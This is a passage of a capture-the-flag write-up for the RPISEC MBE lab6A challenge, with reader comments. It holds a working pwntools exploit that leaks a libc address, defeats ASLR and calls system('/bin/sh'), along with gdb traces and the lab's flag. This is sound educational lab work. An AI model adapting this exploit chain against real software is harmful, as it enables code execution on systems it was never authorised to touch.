Did you notice the output? There is no terminating null-byte at the end of the username and thus the whole struct gets printed. Let's have a closer look at the output as a hexdump:

...
print(hexdump(ret))
p.interactive()

And rerun the script:

lab6A@warzone:/levels/lab06$ python /tmp/exploit_lab6A_2.py
[+] Starting program './lab6A': Done
...
[*] Partial overwrite succeeded!
00000000  55 73 65 72  6e 61 6d 65  3a 20 41 41  41 41 41 41  │User│name│: AA│AAAA│
00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000020  41 41 41 41  41 41 41 41  41 0a 41 41  41 41 41 41  │AAAA│AAAA│A·AA│AAAA│
00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000040  41 41 41 41  41 41 41 41  41 0a 20 69  73 20 61 20  │AAAA│AAAA│A· i│s a │
00000050  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│
*
000000a0  58 58 58 58  58 58 58 58  58 58 e2 0b  76 b7 d0 0d  │XXXX│XXXX│XX··│v···│
000000b0  76 b7 0a 45  6e 74 65 72  20 43 68 6f  69 63 65 3a  │v··E│nter│ Cho│ice:│
000000c0  20                                                  │ │
000000c1
[*] Switching to interactive mode
$

There are two addresses within the output: 0xb7760be2 at offset 0xaa and 0xb7760dd0 at offset 0xae.

The first address is just the value of sfunc. We overwrote the least significant two bytes with 0x0be2. The second address has also the same base address and is thus an address of the binary itself. Unfortunately that is not what we are looking for since we need a libc address.

How can we leak more than this? Do you remember the following line from the function setup_account?

    memcpy(user->desc + strlen(user->desc), temp, strlen(temp));

As we have already filled up user->desc and neither the strncpy call, nor the strcat call cause a null-byte in user->desc, a second call to setup_account overwrites the memory following the previous description:

This means that we can leak more bytes on the stack by calling setup_account again:

...
print(hexdump(ret))

setupAccount(p, "u", "d")
print(hexdump(p.recv(400)))
p.interactive()

Rerunning the script:

lab6A@warzone:/levels/lab06$ python /tmp/exploit_lab6A_2.py
[+] Starting program './lab6A': Done
...
[*] Partial overwrite succeeded!
00000000  55 73 65 72  6e 61 6d 65  3a 20 41 41  41 41 41 41  │User│name│: AA│AAAA│
00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000020  41 41 41 41  41 41 41 41  41 0a 41 41  41 41 41 41  │AAAA│AAAA│A·AA│AAAA│
00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000040  41 41 41 41  41 41 41 41  41 0a 20 69  73 20 61 20  │AAAA│AAAA│A· i│s a │
00000050  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│
*
000000a0  58 58 58 58  58 58 58 58  58 58 e2 0b  7a b7 d0 0d  │XXXX│XXXX│XX··│z···│
000000b0  7a b7 0a 45  6e 74 65 72  20 43 68 6f  69 63 65 3a  │z··E│nter│ Cho│ice:│
000000c0  20                                                  │ │
000000c1
00000000  55 73 65 72  6e 61 6d 65  3a 20 75 0a  41 41 41 41  │User│name│: u·│AAAA│
00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000020  41 41 41 41  41 41 41 41  41 0a 75 0a  41 41 41 41  │AAAA│AAAA│A·u·│AAAA│
00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000040  41 41 41 41  41 41 41 41  41 0a 20 69  73 20 61 20  │AAAA│AAAA│A· i│s a │
00000050  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│
*
000000a0  58 58 58 58  58 58 58 58  58 58 e2 0b  7a b7 d0 0d  │XXXX│XXXX│XX··│z···│
000000b0  7a b7 20 69  73 20 61 20  64 0a 83 ca  5d b7 01 0a  │z· i│s a │d···│]···│
000000c0  45 6e 74 65  72 20 43 68  6f 69 63 65  3a 20        │Ente│r Ch│oice│: │
000000ce
[*] Switching to interactive mode
$

We leaked another address: 0xb75dca83 at offset 0xba from the second output. This looks more interesting since it has not the same base address as the value of sfunc (0xb77a0be2 in the above output).

Let's use gdb do find out where this address is located. Again we can set a breakpoint on the call to sfunc since the struct is passed on the stack to the called function:

gdb-peda$ b *main+398
Breakpoint 1 at 0xd9d
gdb-peda$ r
Starting program: /levels/lab06/lab6A
.-------------------------------------------------.
|  Welcome to l337-Bay                          + |
|-------------------------------------------------|
|1: Setup Account                                 |
|2: Make Listing                                  |
|3: View Info                                     |
|4: Exit                                          |
|-------------------------------------------------|
Enter Choice: 3
[----------------------------------registers-----------------------------------]
EAX: 0xb77c89e0 (<print_listing>:       push   ebp)
EBX: 0xb77cb000 --> 0x2ef8
ECX: 0xb77968a4 --> 0x0
EDX: 0xbfec24bc --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbfec2568 --> 0x0
ESP: 0xbfec24a0 --> 0xbfec24bc --> 0x0
EIP: 0xb77c8d9d (<main+398>:    call   eax)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb77c8d8f <main+384>:       mov    eax,DWORD PTR [esp+0xbc]
   0xb77c8d96 <main+391>:       lea    edx,[esp+0x1c]
   0xb77c8d9a <main+395>:       mov    DWORD PTR [esp],edx
=> 0xb77c8d9d <main+398>:       call   eax
   0xb77c8d9f <main+400>:       lea    eax,[esp+0x18]
   0xb77c8da3 <main+404>:       movzx  edx,BYTE PTR [eax]
   0xb77c8da6 <main+407>:       lea    eax,[ebx-0x1f13]
   0xb77c8dac <main+413>:       movzx  eax,BYTE PTR [eax]
Guessed arguments:
arg[0]: 0xbfec24bc --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbfec24a0 --> 0xbfec24bc --> 0x0
0004| 0xbfec24a4 --> 0x2
0008| 0xbfec24a8 --> 0xb7795c20 --> 0xfbad2288
0012| 0xbfec24ac --> 0x0
0016| 0xbfec24b0 --> 0xbfec2518 --> 0x0
0020| 0xbfec24b4 --> 0xb77c7a94 --> 0xb77a2b18 --> 0xb77c7938 --> 0xb77c8000 --> 0x464c457f
0024| 0xbfec24b8 --> 0x33 ('3')
0028| 0xbfec24bc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xb77c8d9d in main ()

edx contains the address of the struct merchant. We are looking for the address which should be stored somewhere beneath the memory intended for the struct:

gdb-peda$ x/64xw $edx
0xbfec24bc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfec24cc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfec24dc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfec24ec:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfec24fc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfec250c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfec251c:     0xb761e273      0x00000000      0x00ca0000      0x00000001
0xbfec252c:     0xb77c863d      0xb77c8819      0xb77cb000      0x00000001
0xbfec253c:     0xb77c8e22      0x00000001      0xbfec2604      0xbfec260c
0xbfec254c:     0xb761e42d      0xb77953c4      0xb77c7000      0xb77c8ddb
0xbfec255c:     0xb77c89e0      0xb77c8dd0      0xb7795000      0x00000000
0xbfec256c:     0xb7604a83      0x00000001      0xbfec2604      0xbfec260c
0xbfec257c:     0xb77b4cea      0x00000001      0xbfec2604      0xbfec25a4
0xbfec258c:     0xb77cb038      0xb77c83a0      0xb7795000      0x00000000
0xbfec259c:     0x00000000      0x00000000      0xc6793fe6      0xdea75bf7
0xbfec25ac:     0x00000000      0x00000000      0x00000000      0x00000001

Of course we have to keep in mind that the base addresses vary since ASLR is enabled. If we look out for the last two bytes the highlighted value matches the address we found. Let's have a look what stored there:

gdb-peda$ x/xw 0xb7604a83
0xb7604a83 <__libc_start_main+243>:     0xe8240489

Great! This address resides within the libc function __libc_start_main which probably called the binary's main function. We have successfully leaked a libc address. Now we only need to calculate the necessary offsets:

gdb-peda$ i proc mappings
process 24763
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        0xb75ea000 0xb75eb000     0x1000        0x0
        0xb75eb000 0xb7793000   0x1a8000        0x0 /lib/i386-linux-gnu/libc-2.19.so
        0xb7793000 0xb7795000     0x2000   0x1a8000 /lib/i386-linux-gnu/libc-2.19.so
        0xb7795000 0xb7796000     0x1000   0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
        0xb7796000 0xb7799000     0x3000        0x0
        0xb77a0000 0xb77a3000     0x3000        0x0
        0xb77a3000 0xb77a4000     0x1000        0x0 [vdso]
        0xb77a4000 0xb77a6000     0x2000        0x0 [vvar]
        0xb77a6000 0xb77c6000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.19.so
        0xb77c6000 0xb77c7000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.19.so
        0xb77c7000 0xb77c8000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.19.so
        0xb77c8000 0xb77ca000     0x2000        0x0 /levels/lab06/lab6A
        0xb77ca000 0xb77cb000     0x1000     0x1000 /levels/lab06/lab6A
        0xb77cb000 0xb77cc000     0x1000     0x2000 /levels/lab06/lab6A
        0xbfea3000 0xbfec4000    0x21000        0x0 [stack]
gdb-peda$ p 0xb7604a83 - 0xb75eb000
$2 = 0x19a83

We can view the base address of the libc loaded in gdb using the command i proc mappings. If we subtract the base address from the leaked address, we got the offset of the leaked address: 0x19a83. With this offset we can calculate the base address of the libc when running the program with our python script.

We also need the offset of the system function we want to call:

gdb-peda$ p system - 0xb75eb000
$5 = (<text variable, no debug info> *) 0x40190

The offset of system is 0x40190.

We could also located the string "/bin/sh" within the libc, but in this case it is ever more easier: when the address at sfunc is called, the address of merchant is passed as the only argument:

            ( (void (*) (struct uinfo *) ) merchant.sfunc) (&merchant);

The struct merchant begins with the username. So we only have to set the username to "/bin/sh" and null-terminate the string, so that we will end up with the call system("/bin/sh").

Now we can construct our final exploit-script:

lab6A@warzone:/levels/lab06$ cat /tmp/exploit_lab6A.py
from pwn import *

def setupAccount(p, u, d):
  p.sendline("1")
  p.recvuntil("name: ")
  p.sendline(u)
  p.recvuntil("description: ")
  p.sendline(d)
  p.recvuntil("Choice: ")
  p.sendline("3")


while True:

  p = process("./lab6A")
  p.recvuntil("Choice: ")

  # partially overwrite sfunc (print_name)
  setupAccount(p, "A"*31, "X"*90+"\xe2\x0b\x00")

  try:
    ret = p.recv(400)
    if ("Username: " in ret): break
  except EOFError:
    continue

log.info("Partial overwrite succeeded!")

# leak libc address
setupAccount(p, "u", "d")
ret = p.recv(400)
libc_leak = ord(ret[0xba]) + (ord(ret[0xbb])<<8) + (ord(ret[0xbc])<<16) + (ord(ret[0xbd])<<24)
log.info("libc_leak: " + hex(libc_leak))

# pre-calculated offsets
libc_base   = libc_leak - 0x19a83
log.success("libc_base: " + hex(libc_base))
addr_system = libc_base + 0x40190

# call system("/bin/sh"))
setupAccount(p, 19*"/"+"/bin/sh\x00", "X"*96+p32(addr_system))
p.interactive()

An important point is the terminating null-byte in the third call to setupAccount (line 41). Not only in order to terminate "/bin/sh" correctly, but also to prevent the memcpy call to append the new description after the old description. Otherwise sfunc would have not been overwritten.

Now we just have to run the script:

lab6A@warzone:/levels/lab06$ python /tmp/exploit_lab6A.py
[+] Starting program './lab6A': Done
...
[*] Partial overwrite succeeded!
[*] libc_leak: 0xb755ca83
[+] libc_base: 0xb7543000
[*] Switching to interactive mode
$ whoami
lab6end
$ cat /home/lab6end/.pass
eye_gu3ss_0n_@ll_mah_h0m3w3rk

Done! The final password for lab06 is eye_gu3ss_0n_@ll_mah_h0m3w3rk.


5 Replies to “RPISEC/MBE: writeup lab06 (ASLR)”

  1. hey srych, it’s me again :p
    In lab6B, you want to overwrite var attempts to 0 in order to jump out of loop.
    so you xor attempts_after_xor with \x89\x87\x87\x87
    in specific ,it’s like:
    0xfffffffd ^ 0x39393939 -> attempts_after_xor (first stage)
    attempts_after_xor ^ 0x87878789 -> 0x00000000 (second stage)
    so my calculation is : for 0xff, we need : 0x39^0x41^0xff = 0x87 , same as your answer
    but for the least siginificant bytes 0xfe (attempts + 1 = -2), we need: 0x39^0x41^0xfe = 0x86 ! not 0x89
    If I use 0x89, the least siginificant bytes should be 0xf1 according to my calculation.
    Where’s wrong step? I just can’t get it.
    And another small question: when i nc to lab6B, I get banned after 3 tries. But with python scripts, it keeps asking me for username and password. I also tried to print 1 more round to end loop (print A*32 and x*32 twice,then print final payload) but also failed. Does pwntools automatic reconnect that ports? Or does it have other mechanics?
    Hope I describe my questions clearly, thanks again for your effort and reply!

    1. Hey smile 🙂
      Your progress is awesome! This challenge is not very simple because of the overlap. What me really helped is to simply inspect values during runtime in gdb on each relevant step. Your calculation does not take into account that we are already within the second iteration of the loop. Before the loop ‘attempts’ is initialized with 0xfffffffd (-3). Before the first iteration ‘attempts’ gets incremented to 0xfffffffe (-2). During this first iteration ‘attempts’ gets XORed with 0x39393939 (0x41414141^0x78787878) resulting in 0xc6c6c6c7. Before the next (second) iteration ‘attempts’ gets incremented yet again, this time to 0xc6c6c6c8. During this second iteration ‘attempts’ gets XORed with 0xc6c6c6c8 in my script (0x41414141^0x87878789), which results in 0. Thus the condition of the loop is not satisified anymore and it is quite.
      Regarding your second question: the connect via pwntools is made via the ‘remote’ function. Under the hood this is doing nothing other than nc. If you want to simulate nc using pwntools you can do this: io=remote(…); io.interactive(). The reason why you are not being banned via the python script is probably because a username and password is sent, which will overwrite the ‘attempts’ variable.

      looking forward to further comments from you 🙂
      scryh

      1. wow that makes a lot of sense! yesterday i keep think about that til braindead lol. much appreciate for your detailed response!

  2. hello, first I want to thank you about this amazing guild (not just this lab, all of them!)
    I have 2 questions about 6A:
    why didn’t you try to use ROP chain with libraries that didn’t compiled with pie?
    why we need to add \x00 to the end of the user->desc?
    thank alot

    1. Hey Tomer,
      great to hear that, thanks 🙂

      Regarding ASLR there are fundamental differences between Windows and Linux. When exploiting older applications on Windows, it is quite common to rely on libraries, that aren’t compiled with ASLR support (lacking /DYNAMICBASE). The reason why this works is because whether ASLR is enabled or not is determined independently for each library. For Linux this is different. ASLR is enabled for the whole system (/proc/sys/kernel/randomize_va_space). Thus all libraries are affected by ASLR, if it is enabled.

      The null byte at the end of the description is required, because the input is read via the function “read”, which does not null terminate the input and also reads the newline character caused by hitting the ENTER key (or using sendline via pwntools). If you for example enter “test” and then press ENTER, the description contains the bytes “test\x0a” without a null byte at the end. When we trigger the system function, we want to pass the string “/bin/sh” with a null byte at the end instead of a newline character. Thus we have to manually add it to our input.

Comments are closed.